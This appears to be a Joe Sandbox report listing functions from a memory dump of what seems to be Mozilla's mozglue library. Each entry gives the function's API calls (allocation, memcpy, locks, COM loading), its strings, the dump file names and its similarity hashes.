Opcode Fuzzy Hash: 6facbb0a21fd0bd2db1538c8eb6a80bdb1642850c52fb2c5f6c53dc1598d491a
Instruction Fuzzy Hash: B761AC75A043409BDB10DF65C880F9AB7F5BFE9308F04891DE89A57715EB71E84ACB82

Function 6C45B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C45B61E,?,?,?,?,?,00000000), ref: 6C45B6AC

Part of subcall function 6C46CA10: malloc.MOZGLUE(?), ref: 6C46CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C45B61E,?,?,?,?,?,00000000), ref: 6C45B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C45B61E,?,?,?,?,?,00000000), ref: 6C45B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C45B61E,?,?,?,?,?,00000000), ref: 6C45B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C45B61E,?,?,?,?,?,00000000), ref: 6C45B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C45B61E), ref: 6C45B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C45B61E,?,?,?,?,?,00000000), ref: 6C45B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C45B61E,?,?,?,?,?,00000000), ref: 6C45B79A

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: c63de032e3092dc333d364759612dbe7c0554cd3d7d6acf8e74579782501792d
Instruction ID: b109a96fa82084794d71de910a885f7ee213e5840cc3cd531ad1acfa73f579d3
Opcode Fuzzy Hash: c63de032e3092dc333d364759612dbe7c0554cd3d7d6acf8e74579782501792d
Instruction Fuzzy Hash: 0F41B3B2D001159FCB04DF68DC80EAEB7B5BB44324F650629E825E7790E731A9158BE2

Function 6C45EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C4D5104), ref: 6C45EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C45EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C45EFEC
free.MOZGLUE(?), ref: 6C45F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C45F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C45F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C45F065
moz_xmalloc.MOZGLUE ref: 6C45F072

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 76f144ff9ba8e69d1602376d6a55644a1f50479114a061b893a67dcca03e1f24
Instruction ID: dcc7e844037fb7c7e584b096199b7ceee4c5831d7e0232cc2cd19dfd9ada43f8
Opcode Fuzzy Hash: 76f144ff9ba8e69d1602376d6a55644a1f50479114a061b893a67dcca03e1f24
Instruction Fuzzy Hash: AC41E9B2A001159FDB08DF68DC80DAE7769FF84314B24022CE825DB7A4EB31E915C7E2

Function 6C4CB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C4CB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C4CB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C4CB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C4CB5F4
__Init_thread_footer.LIBCMT ref: 6C4CB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C4CB61F
std::_Facet_Register.LIBCPMT ref: 6C4CB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4CB655

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: d66804d9dc96082710e632bc36236e07d27352db5b6bceff339ff858280b64d6
Instruction ID: 83f1289427fc80dcfe537ad46c29268360a12e4be399bce96fbb5070dd9c2cfd
Opcode Fuzzy Hash: d66804d9dc96082710e632bc36236e07d27352db5b6bceff339ff858280b64d6
Instruction Fuzzy Hash: 1A31AF75B012048BDF10FFA9C898DAEB7B5EF8A325B150519D90297790DB34B806CBD2

Function 6C496590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C48FA80: GetCurrentThreadId.KERNEL32 ref: 6C48FA8D
Part of subcall function 6C48FA80: AcquireSRWLockExclusive.KERNEL32(6C4DF448), ref: 6C48FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C496727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C4967C8

Part of subcall function 6C4A4290: memcpy.VCRUNTIME140(?,?,6C4B2003,6C4B0AD9,?,6C4B0AD9,00000000,?,6C4B0AD9,?,00000004,?,6C4B1A62,?,6C4B2003,?), ref: 6C4A42C4

Strings

data, xrefs: 6C496593
vMl, xrefs: 6C49696C

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vMl
API String ID: 511789754-1398191368
Opcode ID: 11195e06454b15cc26145d3b9e2c627b2c6197423aa693b3227971ea54f02c45
Instruction ID: 5c00e6ad8af9b551a6ba6a16ffaad738320d1fa7bda01a4dceff7c14564b70e4
Opcode Fuzzy Hash: 11195e06454b15cc26145d3b9e2c627b2c6197423aa693b3227971ea54f02c45
Instruction Fuzzy Hash: 52D1BC75A093408FD764DF64C850FDEBBE5AFC5308F10492EE58987B91EB30A949CB92

Function 6C48D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C45EB57,?,?,?,?,?,?,?,?,?), ref: 6C48D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C45EB57,?), ref: 6C48D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C45EB57,?), ref: 6C48D673
free.MOZGLUE(?), ref: 6C48D888

Strings

|Enabled, xrefs: 6C48D81E
WEl, xrefs: 6C48D5D9, 6C48D63F

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: WEl$|Enabled
API String ID: 4142949111-3143443120
Opcode ID: 717f376b96c032d7d33503319600f1e4cf421d2f67af8c5db5b6ef2e0677aa27
Instruction ID: 1c3383fc6da8febeec1567f1d9fd0d2de8ae0690f225a052d63140e1847f81bf
Opcode Fuzzy Hash: 717f376b96c032d7d33503319600f1e4cf421d2f67af8c5db5b6ef2e0677aa27
Instruction Fuzzy Hash: 6EA10370A022099FDB11DF69C490FAEBBF1AF49318F58805ED895AB741C734E845CBA1

Function 6C46B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C4ACC83,?,?,?,?,?,?,?,?,?,6C4ABCAE,?,?,6C49DC2C), ref: 6C46B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C4ACC83,?,?,?,?,?,?,?,?,?,6C4ABCAE,?,?,6C49DC2C), ref: 6C46B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C4ACC83,?,?,?,?,?,?,?,?,?,6C4ABCAE), ref: 6C46B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C4ACC83,?,?,?,?,?,?,?,?,?,6C4ABCAE,?,?,6C49DC2C), ref: 6C46B896

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: ceb938aa9ac641ba9b69d6332e022c5acb66117c51c76d9b85f9520aab3284f1
Instruction ID: cfec88c01700933a7eaa8869aa4eb2a96857506ce40cc29b30c280e65505ca49
Opcode Fuzzy Hash: ceb938aa9ac641ba9b69d6332e022c5acb66117c51c76d9b85f9520aab3284f1
Instruction Fuzzy Hash: CA519F357006008FCB25DF5AC484E2AB7F5FF89319B69855DE99A87B55C731EC02DB80

Function 6C4A1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C4A1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C4A1BE3,?,?,6C4A1D96,00000000), ref: 6C4A1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C4A1BE3,?,?,6C4A1D96,00000000), ref: 6C4A1D4C
GetCurrentThreadId.KERNEL32 ref: 6C4A1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C4A1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C4A1DDA

Part of subcall function 6C4A1EF0: GetCurrentThreadId.KERNEL32 ref: 6C4A1F03
Part of subcall function 6C4A1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C4A1DF2,00000000,00000000), ref: 6C4A1F0C
Part of subcall function 6C4A1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C4A1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C4A1DF4

Part of subcall function 6C46CA10: malloc.MOZGLUE(?), ref: 6C46CA26

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: f5c96aea7011486828464316ae145bc8e8a53c357d36a9791434d519b7e92f7a
Instruction ID: 482b4cb95df4de8cf99c7ad380d43401add128d518932f172dad41d843f94665
Opcode Fuzzy Hash: f5c96aea7011486828464316ae145bc8e8a53c357d36a9791434d519b7e92f7a
Instruction Fuzzy Hash: C54144B56017019FCB10EF69C888E56BBF9FB89318F10442EE99A87B41CB71F854CB91

Function 6C4984E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C4984F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C49850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C49851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C49855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C49856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C4985AC

Part of subcall function 6C497670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C4985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C49767F
Part of subcall function 6C497670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C4985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C497693
Part of subcall function 6C497670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C4985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C4976A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C4985B2

Part of subcall function 6C475E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C475EDB
Part of subcall function 6C475E90: memset.VCRUNTIME140(ewKl,000000E5,?), ref: 6C475F27
Part of subcall function 6C475E90: LeaveCriticalSection.KERNEL32(?), ref: 6C475FB2

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: e3d29d8f4ac0c23802867387063a10e3de6e3afbc108e5df8f68a9489bd8fd03
Instruction ID: 0b269c0bd27e453c9d4dc841c415aed084d29e66d852a6444017a34353dace6f
Opcode Fuzzy Hash: e3d29d8f4ac0c23802867387063a10e3de6e3afbc108e5df8f68a9489bd8fd03
Instruction Fuzzy Hash: 6221AE742006019FDB14EB68C888E5ABBF5AF8432DF24092DE55BC3B41DB31F948CB91

Function 6C461640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C461699
VerSetConditionMask.NTDLL ref: 6C4616CB
VerSetConditionMask.NTDLL ref: 6C4616D7
VerSetConditionMask.NTDLL ref: 6C4616DE
VerSetConditionMask.NTDLL ref: 6C4616E5
VerSetConditionMask.NTDLL ref: 6C4616EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C4616F9

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: fdfe79f73992879bef0f6e6e8a6cc0e89f017495c8cca8a9d9cc85b3ce6f76fd
Instruction ID: f48986b03b2a71cc1d038508f6d04afcb5d9ff9894a44069371e0eb90fa763ab
Opcode Fuzzy Hash: fdfe79f73992879bef0f6e6e8a6cc0e89f017495c8cca8a9d9cc85b3ce6f76fd
Instruction Fuzzy Hash: B721A2B0B402086BFB11FA69CC85FBBB3BCEF86704F054528F6459B6C0C674AE54C6A1

Function 6C49F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C48CBE8: GetCurrentProcess.KERNEL32(?,6C4531A7), ref: 6C48CBF1
Part of subcall function 6C48CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4531A7), ref: 6C48CBFA

Part of subcall function 6C499420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C464A68), ref: 6C49945E
Part of subcall function 6C499420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C499470
Part of subcall function 6C499420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C499482
Part of subcall function 6C499420: __Init_thread_footer.LIBCMT ref: 6C49949F

GetCurrentThreadId.KERNEL32 ref: 6C49F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C49F598), ref: 6C49F621

Part of subcall function 6C4994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C4994EE
Part of subcall function 6C4994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C499508

GetCurrentThreadId.KERNEL32 ref: 6C49F637
AcquireSRWLockExclusive.KERNEL32(6C4DF4B8,?,?,00000000,?,6C49F598), ref: 6C49F645
ReleaseSRWLockExclusive.KERNEL32(6C4DF4B8,?,?,00000000,?,6C49F598), ref: 6C49F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C49F62A

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 1724ddf0033c2042beed73282b47876c6fa26e28fbba67fe8b6d6fdce14bdd20
Instruction ID: 821eb09145b4450b436374a864a1426df13efd03739a73dde2e5fe1976569f08
Opcode Fuzzy Hash: 1724ddf0033c2042beed73282b47876c6fa26e28fbba67fe8b6d6fdce14bdd20
Instruction Fuzzy Hash: 7C11C475202215BBEA14FF58C848DA57B79FB86369B140019FA0587F01CB71BC12CBA0

Function 6C462070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C48AB89: EnterCriticalSection.KERNEL32(6C4DE370,?,?,?,6C4534DE,6C4DF6CC,?,?,?,?,?,?,?,6C453284), ref: 6C48AB94
Part of subcall function 6C48AB89: LeaveCriticalSection.KERNEL32(6C4DE370,?,6C4534DE,6C4DF6CC,?,?,?,?,?,?,?,6C453284,?,?,6C4756F6), ref: 6C48ABD1

LoadLibraryW.KERNEL32(combase.dll,6C461C5F), ref: 6C4620AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C4620CD
__Init_thread_footer.LIBCMT ref: 6C4620E1
FreeLibrary.KERNEL32 ref: 6C462124

Strings

combase.dll, xrefs: 6C4620A9
CoInitializeSecurity, xrefs: 6C4620C7

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: 5c77125355e178be5610e6f0087db1de45bf35ca2d421ae8775e81bbc180e02d
Instruction ID: d78d947026e9df63dd1750b34e651b584769dec38f5cee6c4ad4b8f1fb0c0ff3
Opcode Fuzzy Hash: 5c77125355e178be5610e6f0087db1de45bf35ca2d421ae8775e81bbc180e02d
Instruction Fuzzy Hash: C9216D75202209BFEF21FF95DC58D9A3FB6FB0A365F008115FA0492A51DB31A861DF91

Function 6C4B76C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C4B76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C4B7705

Part of subcall function 6C46CA10: malloc.MOZGLUE(?), ref: 6C46CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C4B7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C4B778F,00000000,00000000,00000000,00000000), ref: 6C4B7731
free.MOZGLUE(00000000), ref: 6C4B7760

Strings

}>Il, xrefs: 6C4B76C4

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>Il
API String ID: 2538299546-4082874104
Opcode ID: 2187ddda0387c4d0177649dfb88cbe25c0e5d54db797ed66b4eee277b8c162a8
Instruction ID: 3bbb45b269ed816773c740ee0a7f25277ad42af659b440df5b2664b8274a2ffb
Opcode Fuzzy Hash: 2187ddda0387c4d0177649dfb88cbe25c0e5d54db797ed66b4eee277b8c162a8
Instruction Fuzzy Hash: 731190B1D042156BE710EF6A9C44FABBEE8EF45354F04442DE848E7300E770984087F2

Function 6C461FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C48AB89: EnterCriticalSection.KERNEL32(6C4DE370,?,?,?,6C4534DE,6C4DF6CC,?,?,?,?,?,?,?,6C453284), ref: 6C48AB94
Part of subcall function 6C48AB89: LeaveCriticalSection.KERNEL32(6C4DE370,?,6C4534DE,6C4DF6CC,?,?,?,?,?,?,?,6C453284,?,?,6C4756F6), ref: 6C48ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C461FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C461FFD
__Init_thread_footer.LIBCMT ref: 6C462011
FreeLibrary.KERNEL32 ref: 6C462059

Strings

combase.dll, xrefs: 6C461FD9
CoCreateInstance, xrefs: 6C461FF7

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 2d90c7f724f8d7e982e233b4803a24e76d8e127674425a46788e89a8238298dd
Instruction ID: 8eab1d51d492c767350c48640c20197ab4a4f27aafbad90084a2343245de12c3
Opcode Fuzzy Hash: 2d90c7f724f8d7e982e233b4803a24e76d8e127674425a46788e89a8238298dd
Instruction Fuzzy Hash: EE114F75202255AFEF30FF55C86CE563B79EB46369F008019EA0592B41CB31B810DBA1

Function 6C460EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C48AB89: EnterCriticalSection.KERNEL32(6C4DE370,?,?,?,6C4534DE,6C4DF6CC,?,?,?,?,?,?,?,6C453284), ref: 6C48AB94
Part of subcall function 6C48AB89: LeaveCriticalSection.KERNEL32(6C4DE370,?,6C4534DE,6C4DF6CC,?,?,?,?,?,?,?,6C453284,?,?,6C4756F6), ref: 6C48ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C48D9F0,00000000), ref: 6C460F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C460F3C
__Init_thread_footer.LIBCMT ref: 6C460F50
FreeLibrary.KERNEL32(?,6C48D9F0,00000000), ref: 6C460F86

Strings

combase.dll, xrefs: 6C460F18
